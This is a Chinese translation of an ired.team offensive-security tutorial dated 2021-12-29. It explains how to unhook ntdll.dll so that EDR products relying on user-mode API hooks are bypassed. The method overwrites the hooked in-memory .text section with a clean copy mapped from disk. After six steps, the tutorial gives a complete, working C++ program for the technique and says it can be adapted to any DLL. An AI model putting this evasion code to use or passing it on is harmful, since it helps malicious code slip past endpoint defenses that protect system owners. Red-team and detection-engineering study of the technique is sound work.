通过从磁盘读取 ntdll.dll 的 .text 部分并将其放在映射到内存中的 ntdll.dll 的 .text 部分的顶部,可以完全解钩(unhook)加载到内存中的任何给定 DLL。这可能有助于bypass一些依赖用户态 API 挂钩的 EDR 解决方案。

概述

解钩DLL的过程如下面所示。假设ntdll.dll被钩(hook)住了,现在我们来演示如何解钩(unhook):

  1. 将ntdll.dll的全新副本从磁盘映射到内存。
  2. 找到被钩住的 ntdll.dll 的 .text 部分的虚拟地址(先找到ntdll.dll的基地址,然后用基地址加上.text部分的偏移地址就得到了.text部分的虚拟地址)。
  3. 找到新映射的ntdll.dll的.text部分的虚拟地址。
  4. 获取被挂钩模块的 .text 部分的原始内存保护
  5. 将 .text 部分从新映射的 dll 复制到原始(挂钩)ntdll.dll 的虚拟地址(在第 3 步中找到) - 这是解钩的主要内容,因为所有挂钩字节都被磁盘中的新字节覆盖。
  6. 将原始内存保护应用到原始 ntdll.dll 的解钩的 .text 部分。

下面是一个简化图,说明了该技术的核心概念,其中 ntdll.dll 的挂钩 .text 部分被替换为磁盘上 ntdll.dll 的 .text 部分的干净副本:

img

代码

下面的代码是解钩ntdll.dll的示例,你可以将它修改成解钩任何DLL的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}

CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);

return 0;
}

请注意,上面的代码没有映像基址重定位。尽管 ntdll.dll 在其 .text 部分中没有任何要重定位的内容,但在处理其他 dll 时可能需要它。

翻译自:https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++#overview

2021-12-29

⬆︎TOP